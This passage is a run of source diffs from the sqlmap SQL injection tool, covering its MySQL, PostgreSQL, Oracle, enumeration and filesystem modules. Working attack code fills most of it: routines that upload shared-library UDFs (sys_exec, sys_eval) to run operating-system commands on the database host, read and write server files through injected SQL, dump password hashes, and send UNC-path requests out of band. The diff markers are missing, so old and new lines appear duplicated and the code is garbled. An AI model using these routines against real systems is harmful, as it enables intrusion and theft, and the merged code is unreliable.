wFile += "/mysql/windows/lib_mysqludf_sys.dll"
libExt = "dll"
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir is None:
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = "."
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
if re.search("[\w]\:\/", self.__datadir, re.I):
kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
wFile += "/mysql/linux/lib_mysqludf_sys.so"
libExt = "so"
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
for udf in ( "sys_exec", "sys_eval" ):
if udf in self.createdUdf:
continue
ret = inpRet["return"]
logger.info("checking if %s UDF already exist" % udf)
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
message = "%s UDF already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output in ("y", "Y"):
self.udfToCreate.add(udf)
else:
self.udfToCreate.add(udf)
if len(self.udfToCreate) > 0:
# On Windows
if kb.os == "Windows":
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if banVer >= "5.1.19":
if self.__basedir == None:
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = inject.getValue("SELECT @@basedir")
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
kb.os = "Windows"
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
datadir = "."
datadir = os.path.normpath(datadir.replace("\\", "/"))
if re.search("[\w]\:\/", datadir, re.I):
kb.os = "Windows"
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
dFile = "%s/%s.%s" % (datadir, lib, libExt)
# On Linux
else:
# The SO can be in either /lib, /usr/lib or one of the
# paths specified in /etc/ld.so.conf file, none of these
# paths are writable by mysql user by default
# TODO: test with plugins folder on MySQL >= 5.1.19
dFile = "/usr/lib/%s.%s" % (lib, libExt)
self.writeFile(wFile, dFile, "binary", False)
for udf, retType in ( ( "sys_exec", "int" ), ( "sys_eval", "string" ) ):
if udf in self.createdUdf:
continue
if udf in self.udfToCreate:
logger.info("creating %s UDF from the binary UDF file" % udf)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, retType, lib, libExt))
else:
logger.debug("keeping existing %s UDF as requested" % udf)
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
if kb.os == "Windows":
self.udfLocalFile += "/mysql/windows/lib_mysqludf_sys.dll"
self.udfSharedLibExt = "dll"
else:
self.udfLocalFile += "/mysql/linux/lib_mysqludf_sys.so"
self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "longtext")
def uncPathRequest(self):
if kb.stackedTest == False:
if not kb.stackedTest:
query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
@@ -34,6 +32,7 @@ from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapSyntaxException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setDbms
from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS
@@ -47,13 +46,11 @@ from plugins.generic.fingerprint import Fingerprint
from plugins.generic.misc import Miscellaneous
from plugins.generic.takeover import Takeover
class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Oracle methods
"""
def __init__(self):
self.excludeDbsList = ORACLE_SYSTEM_DBS
@@ -63,7 +60,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
unescaper.setUnescape(OracleMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -95,7 +91,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
@staticmethod
def escape(expression):
while True:
@@ -120,7 +115,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -156,7 +150,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return value
def checkDbms(self):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
@@ -172,14 +165,14 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
payload = agent.fullPayload(" AND ROWNUM=ROWNUM")
result = Request.queryPage(payload)
if result == True:
if result:
logMsg = "confirming Oracle"
logger.info(logMsg)
payload = agent.fullPayload(" AND LENGTH(SYSDATE)=LENGTH(SYSDATE)")
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
@@ -211,7 +204,6 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
return False
def forceDbmsEnum(self):
if conf.db:
conf.db = conf.db.upper()
@@ -227,44 +219,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
if conf.tbl:
conf.tbl = conf.tbl.upper()
def getDbs(self):
warnMsg = "on Oracle it is not possible to enumerate databases"
logger.warn(warnMsg)
return []
def readFile(self, rFile):
errMsg = "File system read access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
errMsg = "File system write access not yet implemented for "
errMsg += "Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osCmd(self):
errMsg = "Operating system command execution functionality not "
errMsg += "yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osShell(self):
errMsg = "Operating system shell functionality not yet "
errMsg += "implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osPwn(self):
errMsg = "Operating system out-of-band control functionality "
errMsg += "not yet implemented for Oracle"
raise sqlmapUnsupportedFeatureException, errMsg
def osSmb(self):
errMsg = "One click operating system out-of-band control "
errMsg += "functionality not yet implemented for Oracle"

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import re
@@ -34,7 +32,6 @@ from lib.core.common import getHtmlErrorFp
from lib.core.common import getRange
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -48,7 +45,6 @@ from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.outband.stacked import stackedTest
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -64,6 +60,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
def __init__(self):
self.excludeDbsList = PGSQL_SYSTEM_DBS
self.sysUdfs = {
# UDF name: UDF parameters' input data-type and return data-type
"sys_exec": {
"input": [ "text" ],
"return": "int4"
},
"sys_eval": {
"input": [ "text" ],
"return": "text"
},
"sys_bineval": {
"input": [ "text" ],
"return": "int4"
}
}
Enumeration.__init__(self, "PostgreSQL")
Filesystem.__init__(self)
@@ -71,7 +82,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
unescaper.setUnescape(PostgreSQLMap.unescape)
@staticmethod
def unescape(expression, quote=True):
if quote:
@@ -103,7 +113,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression
@staticmethod
def escape(expression):
while True:
@@ -128,7 +137,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return expression
def getFingerprint(self):
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
@@ -164,7 +172,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return value
def checkDbms(self):
"""
Reference for fingerprint: http://www.postgresql.org/docs/8.3/interactive/release-8-3.html
@@ -186,14 +193,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result == True:
if result:
infoMsg = "confirming PostgreSQL"
logger.info(infoMsg)
payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt))
result = Request.queryPage(payload)
if result != True:
if not result:
warnMsg = "the back-end DMBS is not PostgreSQL"
logger.warn(warnMsg)
@@ -245,7 +252,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return False
def checkDbmsOs(self, detailed=False):
if kb.os:
return
@@ -253,15 +259,15 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(500)")
self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = ( " Visual C++", " mingw" )
osWindows = ( " Visual C++", "mingw" )
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query)
@@ -270,20 +276,14 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
break
if kb.os == None:
if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
if detailed == False:
self.cleanup(onlyFileTbl=True)
return
self.cleanup(onlyFileTbl=True)
def forceDbmsEnum(self):
if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public":
conf.db = "public"
@@ -294,16 +294,12 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
warnMsg += "database name"
logger.warn(warnMsg)
def unionReadFile(self, rFile):
errMsg = "PostgreSQL does not support file reading with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedReadFile(self, rFile):
# TODO: write a UDF to retrieve the hexadecimal encoded content of
# the requested file
warnMsg = "binary file read on PostgreSQL is not yet supported, "
warnMsg += "if the requested file is binary, its content will not "
warnMsg += "be retrieved"
@@ -314,10 +310,10 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
result = []
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
logger.debug("loading the content of file '%s' into support table" % rFile)
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
@@ -339,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile)
@@ -358,11 +352,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
logger.debug(debugMsg)
logger.debug(debugMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
logger.debug("encoding file to its base64 string value")
logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
@@ -372,7 +366,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
@@ -382,9 +376,9 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
# http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
@@ -403,7 +397,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
@@ -411,21 +405,51 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# NOTE: lo_export() exports up to only 8192 bytes of the file
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile))
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
if confirm == True:
if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfSetRemotePath(self):
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
def udfCreateFromSharedLib(self, udf, inpRet):
if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
def udfInit(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
dFile = None
wFile = paths.SQLMAP_UDF_PATH
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
if banVer >= "8.3":
majorVer = "8.3"
@@ -433,74 +457,16 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
majorVer = "8.2"
if kb.os == "Windows":
wFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
libExt = "dll"
self.udfLocalFile += "/postgresql/windows/%s/lib_postgresqludf_sys.dll" % majorVer
self.udfSharedLibExt = "dll"
else:
wFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
libExt = "so"
for udf in ( "sys_exec", "sys_eval" ):
if udf in self.createdUdf:
continue
logger.info("checking if %s UDF already exist" % udf)
query = agent.forgeCaseStatement("(SELECT proname='%s' FROM pg_proc WHERE proname='%s' OFFSET 0 LIMIT 1)" % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False)
if exists == "1":
message = "%s UDF already exists, do you " % udf
message += "want to overwrite it? [y/N] "
output = readInput(message, default="N")
if output and output in ("y", "Y"):
self.udfToCreate.add(udf)
else:
self.udfToCreate.add(udf)
if len(self.udfToCreate) > 0:
# On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
# NOTE: by not specifing any path, it will save into the
# data directory, on PostgreSQL 8.3 it is
# C:\Program Files\PostgreSQL\8.3\data.
dFile = "%s.%s" % (lib, libExt)
# On Linux
else:
# The SO can be in any folder where postgres user has
# read/write/execute access is valid
dFile = "/tmp/%s.%s" % (lib, libExt)
self.writeFile(wFile, dFile, "binary", False)
for udf, retType in ( ( "sys_exec", "int4" ), ( "sys_eval", "text" ) ):
if udf in self.createdUdf:
continue
if udf in self.udfToCreate:
logger.info("creating %s UDF from the binary UDF file" % udf)
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
inject.goStacked("DROP FUNCTION %s" % udf)
inject.goStacked("CREATE OR REPLACE FUNCTION %s(text) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, retType, dFile, udf))
else:
logger.debug("keeping existing %s UDF as requested" % udf)
self.createdUdf.add(udf)
self.udfLocalFile += "/postgresql/linux/%s/lib_postgresqludf_sys.so" % majorVer
self.udfSharedLibExt = "so"
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
debugMsg = "creating a support table to write commands standard "
debugMsg += "output to"
logger.debug(debugMsg)
self.createSupportTbl(self.cmdTblName, self.tblField, "text")
def uncPathRequest(self):
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)

View File

@@ -22,14 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import getRange
from lib.core.common import parsePasswordHash
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -38,7 +37,6 @@ from lib.core.data import temp
from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
@@ -46,11 +44,9 @@ from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
@@ -72,11 +68,9 @@ class Enumeration:
temp.inference = queries[dbms].inference
def forceDbmsEnum(self):
pass
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
@@ -101,7 +95,6 @@ class Enumeration:
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def getBanner(self):
if not conf.getBanner:
return
@@ -132,7 +125,6 @@ class Enumeration:
return kb.data.banner
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
@@ -144,7 +136,6 @@ class Enumeration:
return kb.data.currentUser
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
@@ -156,7 +147,6 @@ class Enumeration:
return kb.data.currentDb
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
@@ -167,7 +157,6 @@ class Enumeration:
return kb.data.isDba == "1"
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
@@ -219,7 +208,6 @@ class Enumeration:
return kb.data.cachedUsers
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
@@ -341,7 +329,6 @@ class Enumeration:
return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
@@ -361,7 +348,6 @@ class Enumeration:
return dbaCondition
def getPrivileges(self):
infoMsg = "fetching database users privileges"
@@ -628,7 +614,6 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins )
def getDbs(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
@@ -683,7 +668,6 @@ class Enumeration:
return kb.data.cachedDbs
def getTables(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -778,7 +762,6 @@ class Enumeration:
return kb.data.cachedTables
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -898,7 +881,6 @@ class Enumeration:
return kb.data.cachedColumns
def dumpTable(self):
if not conf.tbl:
errMsg = "missing table parameter"
@@ -1000,7 +982,7 @@ class Enumeration:
if conf.dumpAll:
logger.warn(errMsg)
return kb.data.dumpedTable
return None
else:
raise sqlmapNoneDataException, errMsg
@@ -1062,13 +1044,12 @@ class Enumeration:
if conf.dumpAll:
logger.warn(errMsg)
return kb.data.dumpedTable
return None
else:
raise sqlmapNoneDataException, errMsg
return kb.data.dumpedTable
def dumpAll(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -1094,10 +1075,8 @@ class Enumeration:
if data:
dumper.dbTableValues(data)
def sqlQuery(self, query):
output = None
selectQuery = True
sqlType = None
for sqlTitle, sqlStatements in SQL_STATEMENTS.items():
@@ -1105,9 +1084,6 @@ class Enumeration:
if query.lower().startswith(sqlStatement):
sqlType = sqlTitle
if sqlTitle != "SQL SELECT statement":
selectQuery = False
break
message = "do you want to retrieve the SQL statement output? "
@@ -1122,10 +1098,12 @@ class Enumeration:
return output
else:
if kb.stackedTest == None:
query = urlencode(query, convall=True)
if kb.stackedTest is None:
stackedTest()
if kb.stackedTest == False:
if not kb.stackedTest:
return None
else:
if sqlType:
@@ -1143,7 +1121,6 @@ class Enumeration:
return output
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
@@ -1177,7 +1154,7 @@ class Enumeration:
if output and output != "Quit":
dumper.string(query, output)
elif output == False:
elif not output:
pass
elif output != "Quit":

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import binascii
import os
@@ -31,10 +29,8 @@ from lib.core.agent import agent
from lib.core.common import dataToOutFile
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
@@ -48,36 +44,21 @@ class Filesystem:
self.fileTblName = "sqlmapfile"
self.tblField = "data"
def __unbase64String(self, base64Str):
unbase64Str = ""
if isinstance(base64Str, (list, tuple, set)):
for chunk in base64Str:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unbase64Str += "%s\n" % chunk.decode("base64")
else:
unbase64Str = "%s\n" % base64Str.decode("base64")
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
def __unhexString(self, hexStr):
unhexStr = ""
if len(hexStr) % 2 != 0:
errMsg = "for some reasons sqlmap retrieved an odd-length "
errMsg += "hexadecimal string which it is not able to convert "
errMsg += "to raw string"
logger.error(errMsg)
if isinstance(hexStr, (list, tuple, set)):
for chunk in hexStr:
if isinstance(chunk, (list, tuple, set)):
chunk = chunk[0]
unhexStr += binascii.unhexlify(chunk)
else:
unhexStr = binascii.unhexlify(hexStr)
return unhexStr
return hexStr
return binascii.unhexlify(hexStr)
def __binDataToScr(self, binaryData, chunkName):
"""
@@ -115,7 +96,6 @@ class Filesystem:
return fileLines
def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == "MySQL":
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
@@ -124,10 +104,10 @@ class Filesystem:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == "Microsoft SQL Server":
self.createSupportTbl(self.fileTblName, self.tblField, "text")
self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
@@ -155,7 +135,6 @@ class Filesystem:
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
def fileToSqlQueries(self, fcEncodedList):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
@@ -176,7 +155,6 @@ class Filesystem:
return sqlQueries
def fileEncode(self, fileName, encoding, single):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
@@ -184,10 +162,10 @@ class Filesystem:
"""
fcEncodedList = []
fp = open(fileName, "rb")
